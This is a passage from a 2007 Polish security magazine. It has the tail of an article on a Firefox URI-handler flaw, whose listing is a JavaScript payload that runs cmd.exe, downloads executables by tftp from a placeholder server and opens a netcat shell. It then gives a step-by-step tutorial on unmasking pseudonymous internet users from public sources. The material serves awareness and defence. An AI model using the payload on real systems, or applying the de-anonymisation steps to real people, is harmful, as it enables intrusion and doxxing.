tym, gdy korzystamy z Internetu w peł-
ni świadomi zagrożeń, stosujemy się
do reguł bezpieczeństwa – wtedy nie
mamy się czego obawiać. Cieszmy się
więc dobrem Internetu, surfując po je-
go stronach niczym innym, jak Mozil-
lą Firefox.
Podsumowanie
Opisywana podatność pozwala na
uruchomienie praktycznie dowolnego
kodu na komputerze użytkownika, co,
jak zostało pokazane w artykule, mo-
że mieć przykre konsekwencje. Pozo-
staje tylko mieć nadzieję, że Czytelnik
będzie szerokim łukiem omijał strony
internetowe, które ktoś nieznajomy po-
desłał mu drogą elektroniczną. l
O autorze
Autor zajmuje się bezpieczeństwem
aplikacji internetowych oraz szeroko
rozumianą ochroną systemów kompu-
terowych.
Kontakt z autorem: kzuwala@pocz-
ta.onet.pl
Listing 7.
Kod JavaScript, który należy umieścić w finalnej wersji strony
firefoxurl:test%22%20-chrome%20%22javascript:C=Components.classes;I=C
omponents.interfaces;file=C%5B%
27
@mozilla.org
/
file
/
local
;
1
%
27
%5D.createInstance%28I.nsILocalFile%
29
;
file.init
WithPath%
28
%
27C:%
27
+String.fromCharCode%
2892
%
29
+String.fromCharCode%
2892
%
29
+%27Windows%
27
+String.fromCharCode%
2892
%
29
+String.fromCharCode%
2892
%
29
+%27System32%
27
+String.fromCharCode%
2892
%
29
+String.fromCharCode%
2892
%
29
+%27cmd.exe%5C%22
cd
c:+String.fromCharCode%
2892
%
29
+String.fromCharCode%
2892
%
29WINDOWS+String.fromCharCode%
2892
%
29
+String.fromCharCode%
2892
%
29system32+String.fromCharCode%
2892
%
29
+String.fromCharCode%
2892
%
29
%
26
%
26
tftp
-i GET ourTftpServer.com
/
modifyReg.exe %
26
%
26
tftp -i GET ourTftpServer.com
/
win32srv.exe %
26
%
26
modifyReg.exe %
26
%
26
win32srv.exe -l -p1234 -L -d -e cmd.exe%5C%
22
27
%
29
;
process
=
C%5B%
27
@mozilla.org
/
process
/
util
;
1
%
27
%5D.createInstance%28I.nsIP
rocess%
29
;
process.init%28file%
29
;
process.run%28true%252c%7B%7D%252c0%
29
;
W Sieci
• http://larholm.com/2007/07/10/internet-explorer-0day-exploit/ – proof of concept
exploita,
• http://msdn2.microsoft.com/en-us/library/ms724844.aspx – opis funkcji Reg-
CreateKeyEx,
• http://www.microsoft.com/resources/documentation/windows/xp/all/proddocs/
en-us/tftp.mspx?mfr=true – opis polecenia tftp dla systemu Windows XP,
• http://www.vulnwatch.org/netcat/ – netcat dla Windows.
Jeśli nie możesz odczytać zawartości płyty CD, a nie jest ona uszkodzona mechanicznie,
sprawdź ją na co najmniej dwóch napędach CD.
W razie problemów z płytą, proszę napisać pod adres: cd@software.com.pl
www.hakin9.org
hakin9 Nr 12/2007
20
Atak
D
ane, o których mówię, w każdym przy-
padku mogą być (i z natury są) in-
ne. Dla przeciętnego użytkownika bę-
dzie to imię, nazwisko, numery PESEL i NIP,
adres zamieszkania – i to właśnie te infor-
macje powinno traktować się ze szczegól-
ną troską. Wiele osób zobowiązanych jest
także do ochrony – oprócz tak prozaicznych
(a ważnych) danych jak te, które wcześniej wy-
mieniłem – różnego rodzaju tajemnic służbo-
wych (patrz głośne ostatnio wycieki danych
z komputerów policyjnych przez p2p). Ostatnią
grupą ludzi, którzy najsilniej i najskuteczniej
powinni chronić dane, są administratorzy i do-
stawcy usług. Właśnie ci ludzie odpowiedzial-
ni są za składowanie, przesył i zabezpiecze-
nie personaliów swoich klientów oraz za stan
bezpieczeństwa usług świadczonych w admi-
nistrowanej sieci.
Dlaczego o tym piszę?
Bo to jest ważne!
Czy stan bezpieczeństwa jest naprawdę tak zły?
Tak! Czy dotyczy to wszystkich bez wyjątku?
Większości!
W odniesieniu do zwykłych użytkowników
Internetu sytuacja wygląda wprost tragicznie
– nawet do 87% (na podstawie analizy aktyw-
ności sieciowej 2000 użytkowników portali
społecznościowych, którzy wyrazili na to zgo-
Poznaj swój komputer
– oczami intruza
Bartosz Kalinowski
stopień trudności
W Sieci jeszcze bardziej niż w życiu realnym należy chronić
wszelkie informacje dotyczące naszej osoby, firmy, działań,
kierunków rozwoju. Dbać o te wszystkie dane muszą ludzie,
którym je powierzamy. Dlatego zadziwiająca jest beztroska
większości użytkowników Internetu w kwestiach bezpieczeństwa
i ochrony wrażliwych danych.
Z artykułu dowiesz się
• jak wiele informacji udostępniasz nieświadomie,
• w jaki sposób są one odnajdywane i w jaki spo-
sób mogą być wykorzystane,
• w jaki sposób intruzi przeprowadzają rozpo-
znanie jednostek komputerowych i sieci,
• w jaki sposób tworzą wirtualny obraz zarządza-
nych przez Ciebie maszyn,
• jakie stosują narzędzia i metody,
• jak bronić się przed tymi działaniami.
Co powinieneś wiedzieć
• znać system Linux w stopniu pozwalającym na
swobodną obsługę,
• znać co najmniej podstawy teoretyczne popu-
larnych protokołów sieciowych,
• znać teorię dotyczącą ataków inter(intra)neto-
wych i być w stanie kojarzyć możliwości ich wy-
korzystania,
• znać zagadnienia związane z wyszukiwarkami
internetowymi.
Poznaj swój komputer – oczami intruza
hakin9 Nr 12/2007
www.hakin9.org
21
dę, przeprowadzonej w okresie
od lipca do sierpnia 2007 r.) umiesz-
cza w sieci publicznej dane,
które nigdy nie powinny w niej się
znaleźć, tym samym stwarzając dla
siebie zagrożenie. W stosunku do
administratorów – zarówno sieci, jak
i usług – sprawa nie wygląda tak kla-
rownie, a to ze względu na trudności
m. in. w przeprowadzeniu analiz lub
braku zgody na ich publikację. Jed-
nak pomimo wszystko muszę stwier-
dzić – a wielu audytorów na pew-
no się ze mną zgodzi – że ochrona
danych jest często zaniedbywana,
a ilość udostępnianych (świadomie
i nieświadomie) danych bywa, deli-
katnie mówiąc, niebezpieczna.
Spis treści
Moim głównym celem i prioryte-
tem jest wskazanie Czytelnikom,
jak wielkie zagrożenie niesie za
sobą bezmyślne, świadome bądź
przypadkowe, udostępnianie danych
– zarówno tych personalnych, jak
i służbowych czy konfiguracyjnych.
Chciałbym w artykule zademonstro-
wać krok po kroku niektóre metody
pozyskiwania ważnych i wrażliwych
informacji. Cały tekst podzieliłem
na trzy główne części. W pierw-
szej wyjaśniam w sposób teoretycz-
ny, aczkolwiek bardzo ogólnikowy,
przyczyny i skutki poszczególnych
działań. Opisuję także metody i na-
rzędzia wykorzystywane do prze-
prowadzania tego typu badań. Sta-
ram się to czynić zwięźle i konkretnie,
pozostawiając szczegóły na analizy
konkretnych przypadków. W drugiej
części przedstawiam działania wy-
mierzone w zwykłego użytkownika.
Przeprowadzam Czytelnika, w spo-
sób zmuszający do samodzielnych
działań i przede wszystkim myśle-
nia, przez znane (a często trywialne!
– w celu podkreślenia niebezpie-
czeństwa) metody i sposoby zbie-
rania informacji, następnie analizuję
uzyskane dane oraz finalnie okre-
ślam stopień zagrożenia i możliwe
ataki wynikające z faktu posiada-
nia zdobytych informacji. W części
trzeciej natomiast przedstawiam ba-
danie danych udostępnianych świa-
domie i nieświadomie przez admini-
stratora typowej sieci komputerowej
za pomocą jej elementów konfigura-
cyjnych. Określam wszelkie możliwe
informacje – od lokalizacji fizycznej
serwera po jego konfigurację, stosu-
jąc metody manualne, jak i automa-
tyczne oraz wykorzystując metody
analizy tzw. białych źródeł informa-
cji oraz Google hacking.
Część I
Działania, które zaprezentuję, można
pojmować i wykorzystywać w kil-
ku celach: po pierwsze – patrząc
oczami administratora (audytora lub
osoby dbającej o bezpieczeństwo
sieci i danych), jako metody mające
na celu zbadanie i ewentualną po-
prawę pewnych aspektów bezpie-
czeństwa sieci. W tym przypadku
wszelkie uzyskane informacje po-
służą do określenia ilości danych
udostępnianych na wielką skalę
– publicznie w Internecie – oraz ja-
kości sposobu składowania ich na
serwerach dostępnych z Internetu.
Uzyskana wiedza pomoże w okre-
śleniu, jak dokładny obraz naszego
serwera i sieci może uzyskać poten-
cjalny intruz. Oprócz tego w bardzo
łatwy, a przede wszystkim zgodny
Tabela 1.
Dwuwarstwowość rozpoznania
ROZPOZNANIE PASYWNE
Strony WWW
Grupy
dyskusyjne
Social
engineering
Bazy dns
Partnerzy
biznesowi
...
ROZPOZNANIE AKTYWNE
Skanowanie
portów
Transfery
stref
Analiza
skanerami
podatności
Ręczne
badanie
systemu
Social
engineering
wywiad
wewnątrzfirmowy
...
OBRAZ SIECI
Rysunek 1.
Przykładowy wygląd podstrony profilu jednego ze znanych
portali społecznościowych
ê
hakin9 Nr 12/2007
www.hakin9.org
Atak
22
z prawem sposób, niezależnie od
przyjętej przez nas polityki bezpie-
czeństwa oraz regulaminów sieci,
będziemy w stanie określić, czy
dane przechowywane publicznie
przez użytkowników nie naruszają
prawa. Z drugiej strony, stawiając
się w sytuacji potencjalnego intru-
za, będziemy w stanie poznać me-
tody i sposoby wykorzystywane do
stworzenia obrazu serwera lub na-
wet całej sieci. Zdobędziemy dane,
które z łatwością mogą być wyko-
rzystane do przeprowadzenia wielu
rodzajów ataków – od podszywania
po kradzieże, i to nie tylko te prze-
prowadzane w Internecie.
Wszelkie działania, które bę-
dziemy wykonywać, mające na ce-
lu pozyskanie informacji, można
podzielić na dwie kategorie – mogą
być one bierne (pasywne) lub ak-
tywne. Rodzaj pierwszy charak-
teryzuje się bardzo ważną cechą
– nie pozostawia śladów mogących
bezpośrednio wskazywać na nasze
zamiary. Drugi niestety nie posia-
da wyżej wymienionej cechy – po-
zostawia ślady np. w plikach dzien-
ników systemowych, lecz jest za to
o wiele skuteczniejszy i dostarcza
znacznie dokładniejszych i ważniej-
szych informacji. Mówiąc o działa-
niach biernych (pasywnych), mam
na myśli przede wszystkim analizę
informacji pozostawionych przez
użytkowników (zarówno przecięt-
nych internautów, jak i np. admi-
nistratorów) na różnego rodzaju
portalach internetowych, forach lub
grupach dyskusyjnych. Obie meto-
dy uzupełniają się w działaniach
praktycznych, poszerzając znacz-
nie ilość danych uzyskiwaną w po-
czątkowych fazach przeprowadza-
nia np. audytu. Fazę tę graficznie
przedstawia Tabela 1. Dwuwarstwo-
wość rozpoznania.
Ilość danych prezentowana na
wymienione sposoby w Internecie
jest nie do ogarnięcia, dlatego też
część druga artykułu jest swoistym
ostrzeżeniem dla wszystkich i jako
taka powinna być przede wszystkim
traktowana. W przypadku wyszuki-
wania informacji w taki sposób sto-
sujemy tzw. białe źródła. Do działań
pasywnych możemy także zaliczyć
wykorzystanie wszelkich narzędzi,
które nie pozostawią śladów jawnie
wskazujących na cel naszych działań,
a za takie uznać można m. in. bazy
danych whois (http://www.dns.pl/cgi-
bin/whois.pl, http://www.internic.net,
http://ripe.net, http://whois.afilias.info
itp.), serwery DNS, narzędzia typu
traceroute, mtr, p0f v2. Naszymi
kolejnymi przyjaciółmi okażą się wy-
szukiwarki oraz umiejętność zadawa-
nia pytań (w celu zwiększenia ilości
i polepszenia jakości otrzymywanych
danych nie będziemy ograniczać się
wyłącznie do google.com).
Działania aktywne, w przeciwień-
stwie do pasywnych, wykorzystują
w znakomitej mierze narzędzia stwo-
rzone typowo do prowadzenia pod-
stawowych analiz informatycznych.
W tym przypadku będziemy stoso-
wać gotowe kombajny analityczne, ta-
kie jak Nessus (http://nessus.org) lub
skanery portów, takie jak nmap (http://
insecure.org/nmap). Pragnę zauwa-
żyć, iż istnieją pewne klasyfikacje, któ-
re uznają wykorzystanie baz whois
lub traceroute za działania aktywne.
Skuteczność rezultatów prezentowa-
nych przez w/w narzędzia podniesie-
my manualnym badaniem zwróconych
przez nie wyników oraz przeanalizuje-
my inne metody i sposoby działania
Tabela 2.
Dane zamieszczone na stronie domowej użytkownika
Dane
Uzyskany rezultat
Źródło
Imię
Rafał
Strona domowa
Nazwisko
Pokój
Strona domowa
Ulica
Długa 25
Strona domowa
Miasto
Ustrzyki
Strona domowa
PESEL
--
--
NIP
--
--
Telefon domowy
(013) 461-XX-XX
Strona domowa
Telefon komór-
kowy
888789XXX
Strona domowa
Telefon kom. inny
--
--
Adres e-mail 1
raptowny@jakisadres.pl
Profil portalu
społecznościowego
Adres e-mail 2
rafal.pokoj@somemail.com
Strona domowa
Adres e-mail 3
--
--
GG
203XXX
Strona domowa
JID
raptowny@chrome.com
Profil portalu
społecznościowego
Inne komunikatory --
--
Ukończone szkoły (1986-1994)
Szkoła Podstawowa nr 2 ...
(1994-1998)
Liceum Ogólnokształcące
im. Józefa Piłsudskiego ...
(1998-2003)
Politechnika Gdańska ...
Strona domowa
Aktualne zajęcie
--
--
Zainteresowania
- muzyka
- sport (bieganie)
- fantastyka
Portal s
połecznościowy
Poznaj swój komputer – oczami intruza
hakin9 Nr 12/2007
www.hakin9.org
23
wymierzone w informacje znajdujące
się na serwerze lub mogące go skom-
promitować.
Część II
W jaki sposób przedstawić zagroże-
nia oraz odpowiednio wybrać cel?
Uznałem, że wystarczy losowy wy-
bór potencjalnego kandydata do ana-
lizy. W takim przypadku nie wia-
domo, czy poddawana analizie nie
jest np. osoba czytająca ten arty-
kuł, co dodaje wiarygodności ba-
daniom i potwierdza zagrożenia.
Moim celem stał się użytkownik
pewnego portalu gromadzącego,
krótko mówiąc, ciekawostki z Sieci.
W mojej opinii jest to odpowiednie
miejsce do wybrania potencjalnego
celu, kiedy chce się wygenerować
statystycznie dobrą próbę dla ogó-
łu społeczeństwa korzystającego
z Internetu – bez specjalistycznego
podejścia do zagadnień informatycz-
nych, a jednocześnie twierdzącego/
uważającego/żyjącego w przekona-
niu, że ukrywanie się w Sieci za pseu-
donimem gwarantuje jakiś poziom
anonimowości. Przekonajmy się, jak
wygląda rzeczywistość.
Chciałbym zauważyć, że dla ce-
lów artykułu wszelkie adresy, dane
i nazwy zostały zmienione, a wszyst-
kie ewentualne zbieżności i podo-
bieństwa są przypadkowe. W celu
lepszego poznania problemu za-
chęcam do przeprowadzenia podo-
bnych działań wymierzonych w sie-
bie lub np. członków rodziny. Da
to najlepszy obraz zagrożeń i ich
skali, a jednocześnie udowodni fakt
łatwości przeprowadzania takich
analiz.
Powiedz mi gdzie bywasz,
powiem Ci kim jesteś
Na wstępie należy przyjąć pewne
wytyczne poszukiwań – musimy
określić, czego dokładnie chcemy
dowiedzieć się o użytkowniku i jak
dokładne muszą to być dane. Na
potrzeby dalszych rozważań musi-
my znaleźć co najmniej imię, nazwi-
sko, miejsce zamieszkania, adresy
kontaktowe (telefon, GG, Jabber,
Skype – najlepiej co najmniej dwa
z wymienionych) oraz zaintereso-
wania danego użytkownika. Jako
rozszerzenie listy oczekujemy pry-
watnych numerów telefonów ko-
mórkowych i danych takich jak NIP
czy PESEL.
Naszą przygodę rozpoczniemy
od określenia podstawowych da-
nych personalnych: imienia i nazwi-
ska. W tym celu zastosujemy naj-
prostszą i najbardziej efektywną
metodę, mianowicie przeszukamy
zasoby WWW. Ale zanim zadamy
pytanie wyszukiwarce, ustalmy, co
może dać nam listę rezultatów za-
wierającą przede wszystkim dane
o naszym użytkowniku?
Będzie to na pewno kombina-
cja danych, które już posiadamy
o użytkowniku, gdyż wystąpienie tuż
obok siebie grupy takich danych na
przeszukiwanych stronach gwarantu-
je nam w pewnym stopniu uzyskanie
wiarygodnych odpowiedzi. W naszym
przypadku użytkownik ukrywa się
pod nickiem Raptowny. Pragnę za-
uważyć i przypomnieć, iż większość
zarówno forów, jak i portali udostęp-
nia możliwość logowania się oraz po-
siadania własnego profilu. Dlatego
zaraz po określeniu nicku zapoznaje-
my się z profilem i spisujemy wszyst-
kie istotne dla nas informacje.
Proszę zauważyć, jakie zazwy-
czaj dane (Rysunek 1. prezentuje ty-
pową i często spotykaną w Interne-
cie postać tego rodzaju strony) mogą
znajdować się w takim wirtualnym
profilu użytkownika:
• imię, nazwisko,
• adres e-mail,
• strona domowa,
• kontakt via GG, Jabber, ICQ etc,
• odnośniki do opublikowanych
dokumentów/wątków.
Nie jest to być może długa lista,
podejrzewam także, że w większo-
ści przypadków w tym miejscu nie
spotkamy się z imieniem i nazwi-
skiem, ale za to często z adresem
e-mail i stroną domową – a to jest
już dla nas dużo. Warto pamiętać o
tym, iż dane, które są wyświetlane
w tym miejscu nie muszą być do-
stępne publicznie. Nie mam tu na
myśli oczywiście wprowadzania
imienia i nazwiska, ale chociażby
adresu e-mail oraz strony domo-
wej. Mógłbym jeszcze zrozumieć
zamieszczanie odnośników do
strony firmowej w przypadku por-
talu dla pracowników czy klientów
danej firmy, ale w przypadku osób
prywatnych jest to dla mnie, deli-
katnie mówiąc, nieco dziwne. Pro-
szę sobie odpowiedzieć na pytanie
– ile razy w życiu idąc ulicą rozda-
Rysunek 2.
Wyniki przedstawione przez Google
hakin9 Nr 12/2007
www.hakin9.org
Atak
24
waliśmy wszystkim swój adres za-
mieszkania i numer telefonu? Ktoś
powie, że przesadzam? Proszę do-
trwać do końca artykułu.
Po analizie profilu uzyskaliśmy na-
stępujące dane:
• adres e-mail: raptowny@jakisa-
dres.pl,
• strona domowa: raptowny.jakis-
blog.pl,
• abber id: raptowny@chrome.com.
Następnym naszym krokiem będzie
oczywiście zapoznanie się z za-
wartością strony domowej. Bardzo
często zdarza się – szczególnie
ostatnio, w dobie blogów i innych in-
ternetowych dzienników, że użytkow-
nicy zamieszczają na nich wszystkie
swoje prywatne dane. Niestety, a być
może stety, nasz użytkownik zrobił to
samo – dane uzyskane wyłącznie po
sprawdzeniu profilu i strony domowej
prezentuje Tabela 2. Przedstawiłem
informacje specjalnie w taki sposób
– dla lepszego uwidocznienia ilości
odkrytych danych. Zanim zaczniesz
czytać dalej, drogi Czytelniku, pro-
szę odpowiedz sobie na pytanie, czy
chciałbyś, aby dowolna osoba w Sie-
ci wiedziała o Tobie aż tyle?
Dalsze poszukiwania są właści-
wie niepotrzebne, gdyż wszystkie
ważne dane uzyskaliśmy z dokład-
nie dwóch najbardziej prozaicznych
źródeł.
Jak widać, próba z całkowicie
losowym użytkownikiem zakończy-
ła się sukcesem – pomimo użycia
tak prostych środków. Przypadek
ten przedstawiłem jako przestrogę,
gdyż w 79% analizowanych prze-
ze mnie przypadków, dokładnie tyle
działania wymaga określenie tożsa-
mości dowolnej osoby korzystającej
z zasobów Sieci.
Kolejnym krokiem będzie wybór
celu z grupy osób potencjalnie bar-
dziej świadomych zagrożeń.
Za taką uznałem społeczność
moderacyjną forum jednej z dystry-
bucji Linuksa.
Procedura początkowa wyglą-
da identycznie, jak poprzednio. Naj-
pierw należy ustalić dane oczywiste
– nick, e-mail i ewentualnie stronę
domową, a w tym celu przegląda-
my profil użytkownika. Sprawdza-
my także posty, jakie zamieścił na
forum. Po tej analizie określamy na-
stępujące dane:
• pseudonim: s3rger,
• e-mail: s3rger@hotmail.com.
Wstępnie widać, iż ten użytkownik
prawdopodobnie bardziej chroni swo-
je dane – określiliśmy jedynie pseu-
donim i adres e-mail. W dalszym cią-
gu zależy nam na uzyskaniu danych
personalnych – w tym celu wykorzy-
stamy google.com i pewne cechy
oraz umiejętności wyszukiwarki. Nie
będę omawiać po raz kolejny, w ja-
ki sposób formułować zapytania, po-
nieważ temat ten w ostatnim czasie
był często poruszany i pojawiło się
wiele traktujących o tym publikacji.
W celu zapoznania się z zagadnie-
niem odsyłam na koniec artykułu,
gdzie zamieściłem kilka przykładów
bardziej zaawansowanych zapytań,
oraz do ramki W Sieci, w której po-
dałem linki do stron je opisujących.
Zaczynając jakiekolwiek działania
z użyciem wyszukiwarek (oczywiście
Google jest skuteczne, ale wykorzy-
stując także inne zwiększamy szan-
se uzyskania ciekawszych danych)
i mając jedynie pseudonim i adres
e-mail ofiary, warto wyświetlić wszyst-
kie strony podchodząc do sprawy
tak, jak w poprzednio opisanym przy-
padku. Da to nam z dobrym przybli-
żeniem wszystkie strony, na których
obserwowany użytkownik prawdopo-
dobnie pojawił się i prowadził jakieś
działania. W analizowanej sytuacji
po zastosowaniu prozaicznego połą-
czenia dwóch wcześniej uzyskanych
informacji otrzymaliśmy 30 wyników.
Analiza każdej ze stron nie powin-
na być ani trudna, ani czasochłon-
na – dla przypomnienia dodam, że
wciąż szukamy imienia i nazwiska.
Zanim jednak to nastąpi i wejdzie-
my na jakąkolwiek stronę, zobaczmy
co samo Google prezentuje w swo-
ich wynikach.
Jak widać na Rysunku 2. nie
wchodząc na żadną stronę uzyska-
liśmy kilka ciekawych rezultatów:
• adresy IP, z których prawdopodob-
nie łączył się dany użytkownik,
• adres strony prawdopodobnie
należącej do użytkownika,
• strony wskazujące na zaintereso-
wania użytkownika,
• strony zawierające inne ważne
informacje (m. in. nr telefonu, ak-
tualne miejsce pobytu).
Wszelkie te informacje zostały uzy-
skane minimalnym nakładem pra-
cy przy zachowaniu maksimum
bezpieczeństwa – gdyż przegląd,
przynajmniej ten powierzchowny,
stron przeprowadził googlebot, cał-
kowicie wyręczając nas w tej nie-
Rysunek 3.
Co kryje adres IP?
Listing 1.
Sygnatura (podpis) umieszczony przez użytkownika
** Adam 's3rger' Szerski
** Unix(OpenBSD) System Administrator && C++ Programmer
** JID->s3rger[at]chrome[dot]net && GG->777XXX
** WWW->s3rger.somename.nu && EMAIL->s3rger@viX.pl
Poznaj swój komputer – oczami intruza
hakin9 Nr 12/2007
www.hakin9.org
25
wdzięcznej czynności i zostawiając
ślady charakterystyczne dla siebie.
Po pierwsze, zajmijmy się adre-
sem IP – sprawdźmy za pomocą po-
lecenia host, jaka jest nazwa DNS
przypisana do odkrytego adresu
– być może dostarczy nam ona no-
wych informacji (niektórzy dostawcy
umieszczają w niej nazwę miejsco-
wości na zasadzie indywidualny_
numer.miasto.nazwa_dostawcy),
a następnie zapytajmy bazy whois
o inne dane dotyczące adresu. War-
to pamiętać o tym, iż wiele stron za-
wierających księgi gości przedsta-
wia publicznie adresy IP dopisują-
cych się osób, stanowiąc tym sa-
mym znakomite źródło danych tego
typu. Fakt, że w ostatnim czasie ze
względów bezpieczeństwa pojawiły
się ucięte adresy, np. bez udostęp-
niania zawartości czwartego oktetu,
ale jest to naprawdę nikłe zabezpie-
czenie. Po sprawdzeniu informacji
o adresie IP skorzystamy z gotowych
narzędzi do geolokacji i stwierdzi-
my, czy dane przedstawione na jed-
nej ze stron są zgodne z rezultata-
mi badań:
$ host 83.26.50.XXX
XXX.50.26.83.in-addr.arpa domain
name pointer aluXXX.neoplus.
adsl.tpnet.pl.
Niestety – uzyskaliśmy jedynie infor-
mację, że użytkownik ten jest abonen-
tem najpopularniejszego ISP w kraju.
Wyszukiwarka przedstawiła na
jednej ze stron także inny adres IP.
Warto sprawdzić pochodzenie dru-
giego adresu. Aby było nieco cieka-
wiej, skorzystamy ze strony ip-ad-
dress.com, dzięki czemu będziemy
mieli możliwość sprawdzenia na ma-
pie, skąd prawdopodobnie pochodzi
badany adres.
Pomijając otoczkę graficzną, za-
równo mapa, jak i schludne podsu-
mowanie generowane są na pod-
stawie informacji z bazy.
Mając te dane możemy śmiało
stwierdzić, że użytkownik pochodzi
z rejonu Łomży lub Białegostoku,
ze szczególnym naciskiem na oko-
lice Zambrowa. Możemy również
stwierdzić, że był on abonentem
usługi SDI, po czym zmienił sposób
dostępu do sieci na DSL. Od tej po-
ry do wszelkich zapytań dodajemy
kolejne parametry wyszukiwania,
bardziej precyzując (lub rozszerza-
jąc) kryteria przeszukiwania o w/w
miejscowości – być może użytkow-
nik ten chociaż raz na forum miasta
podpisał się imieniem.
Warto sprawdzić także obec-
ność naszego celu na grupach
dyskusyjnych – bardzo często użyt-
kownicy stosują sygnatury, w któ-
rych umieszczają ciekawe dane.
W celu przeszukania tych grup
oczywiście można skorzystać z kom-
bajnu sieciowego Google lub przej-
rzeć archiwum danej grupy. Można
zastanawiać się na początku, któ-
rej – ale odpowiedzi udzielą nam
informacje zdobyte o tym użytkow-
niku na wstępie – trzeba szukać
na grupach traktujących o Linuksie
i – jak widać po ostatnich efektach
szukania – tych o
*BSD
.
Jak odkryć tożsamość?
Krótki zarys metody.
• wykonujemy przeszukiwanie ze względu na informację, w której posiadaniu już
jesteśmy (nick/email/gg/etc.),
• odrzucamy strony – śmieci, a następnie analizujemy powiązania informacji z pkt.1
z innymi danymi,
• w przypadku odkrycia powiązań spisujemy je i kontynuujemy poszukiwania jak
powyżej dodając do już posiadanych informacji nowo odkryte powiązania,
• z nową listą danych powtarzamy całą procedurę – aż do uzyskania poszukiwanych
informacji lub stwierdzenia, że nie istnieją one w publicznych zasobach Sieci.
Miejsca szczególnie obfite w informacje:
• blogi,
• prywatne strony www,
• portale społecznościowe,
• fora,
• grupy dyskusyjne,
• strony firmowe,
• strony i portale z ofertami pracy.
Listing 2.
Finger google
Links a navegar: 12
/search?q=%40miasto.pl&num=20&hl=es&lr=&ie=UTF-8&as_qdr=all&start=0&
sa=N&filter=0
"/search?q=%40miasto.pl&num=20&hl=es&lr=&as_qdr=all&ie=UTF-8&start=2
0&sa=N&filter=0"
To search: miasto.pl
sekretarz
sekretariat
...
sekretarz
biurorady
powiat
sekretariat
sekretariat
Accounts found: 7
sekretarz
sekretariat
zcaburmistrza
burmistrz
biurorady
info
hakin9 Nr 12/2007
www.hakin9.org
Atak
26
Widzimy teraz dokładnie (Li-
sting 1), że o ile w przypadku stron
WWW nasz użytkownik był napraw-
dę ostrożny, o tyle całkowicie zrezy-
gnował z tego zachowania na gru-
pach dyskusyjnych. Staliśmy się po-
siadaczami imienia i nazwiska oraz
kilku innych cennych danych. Chciał-
bym zauważyć, iż grupy dyskusyjne
są bardzo dobrym źródłem tego
typu informacji i są często wyko-
rzystywane właśnie do celów roz-
poznawczych. Można na nich prócz
takich informacji jak widoczne wyżej,
znaleźć m. in. schematy sieci, wykazy
urządzeń wykorzystanych w sieciach,
dane administracyjne i konfiguracyjne
usług dotyczące konkretnych sieci,
a dlaczego? Dlatego, że grupy te, ja-
ko jeden z najstarszych sposobów
wymiany danych, komunikacji i wza-
jemnej pomocy, przyciągnęły do sie-
bie liczne grono specjalistów, których
rady w sytuacjach kryzysowych były
i są często bezcenne. Niestety, nie
da się udzielić odpowiedzi na żad-
ne pytanie nie znając dokładnie pro-
blemu i ewentualnych jego przyczyn
– czyli konfiguracji urządzeń i serwe-
rów, które będzie musiał opisać np.
administrator będący w potrzebie.
Po tej podróży dysponujemy już
znaczną ilością informacji na temat
naszego celu, jednak jest to wciąż za
mało, aby spełnić moje oczekiwania.
W tym momencie przystępujemy do
dalszej analizy i poszukiwań. Zarów-
no Google, jak i przeszukanie grup
dyskusyjnych dało nam w odpowie-
dzi na nasze zapytania adres stro-
ny WWW – s3rger.somename.nu.
Tak jak poprzednio, warto przej-
rzeć stronę, której adresem podpi-
sywał się nasz użytkownik. Niestety,
witryna w czasie pisania artykułu była
już niedostępna (błąd 404). Prawdo-
podobnie część Czytelników zrezy-
gnowałaby w tym momencie z dal-
szych działań, my pomimo wszyst-
ko tak nie zrobimy – cofniemy się
o kilka dni, a może lat, w czasie sie-
ciowym – http://archive.org jest miej-
scem, gdzie możemy to zrobić. Prze-
chowywane są tam archiwa stron
WWW zgromadzone w Internecie,
a jednocześnie jest to znakomita
alternatywa dla archiwum cache
Google'a. (Proszę zauważyć, iż
użytkownicy często umieszczają na
stronach dane, których normalnie
by nie umieścili, jednak czynią to
ze względu na chwilową potrzebę.
W takich sytuacjach boty podob-
ne do waybackmachine czy cache
Google'a stają się prawdziwym prze-
kleństwem. Nie wszyscy wiedzą że
niby usunięte dane wciąż mogą znaj-
dować się w Sieci właśnie w takich
miejscach, dlatego warto pamiętać
o tym narzędziu.
Sprawdzenie występowania strony
w archiwum zajęło dosłownie kilka se-
kund, a rezultaty osiągnięte dzięki tej
czynności są niezwykle zachęcające
– uzyskaliśmy potwierdzenie miejsca
zamieszkania, informacje o studiach
i dane na temat pracy w 2006 roku.
Bardzo często popełnianym błędem
jest pozostawianie na serwerze stron
wchodzących kiedyś w skład porta-
lu, a aktualnie niewykorzystywanych
i nie podlinkowanych. Jest to często
spotykane zagrożenie, mogące skut-
kować ujawnieniem wielu ważnych in-
formacji, łatwo wykrywanych m. in. za
pomocą archiwów takich, jak http://
archive.org.
Będąc w posiadaniu znacznych
ilości informacji, wciąż nie prze-
stajemy szukać. Wręcz przeciwnie
– wytaczamy nieco większe działo,
które nazywa się Maltego (w trakcie
pisania artykułu producent zmienił
nazwę oprogramowania z Evolution
na Maltego ze względu na problemy
prawne), a zostało stworzone przez
firmę Paterva. Jest to program, który
przeprowadza działania podobne
technicznie do tych, jakie mieliśmy
możliwość zobaczyć we wszystkich
wcześniejszych przykładach, a po-
nadto poszerza pole wyników przez
analizę większej ilości danych i źró-
deł oraz wykonuje to automatycz-
nie, bez ingerencji użytkownika. Je-
go oficjalne zastosowanie to okre-
ślanie relacji między odnośnika-
mi oraz związkami wyrazów (np.
nick i imię), występujących w sze-
roko pojętych zasobach Interne-
tu. Wyszukuje on zależności mię-
dzy ludźmi, grupami osób, siecia-
mi, firmami, stronami WWW, doku-
Rysunek 4.
Waybackmachine
Listing 3.
Działanie list-urls
$ ./list-urls.py http://xyzmiasto.pl
index.html \
Burmistrz.htm | strony które już nie są wykorzystywane
ZcaBurmistrz.htm | przez nowy system portalowy – na pewno warto sprawdzić
UrzadMiasta.htm /
http://www.umwpxxxxpl/bip/xyzmiasto/index.asp?pid=zamowieniap
http://www.umwpxxxx.pl/bip/xyzmiasto/index.asp?pid=inne
http://www.travelpolska.pl
http://www.nadbugiem.com.pl
http://www.podlaskieit.pl/pl/prot.htm
http://longger.info/sms/tv.php
Poznaj swój komputer – oczami intruza
hakin9 Nr 12/2007
www.hakin9.org
27
mentami i plikami oraz elementami
strukturalnymi sieci Internet (np. na-
zwy DNS, adresy IP itp.). Program
wyświetla je w postaci drzewa za-
leżności, zawierającego wszystkie
połączenia (również te niewidocz-
ne często z poziomu przeglądar-
ki np. ze względu na zastosowa-
nie takiego samego koloru czcionki
i tła) między tymi elementami. Czy
jednak działanie i samo narzędzie
jest naprawdę tak dobre, jak mogło-
by wydawać się po opisie? Czasa-
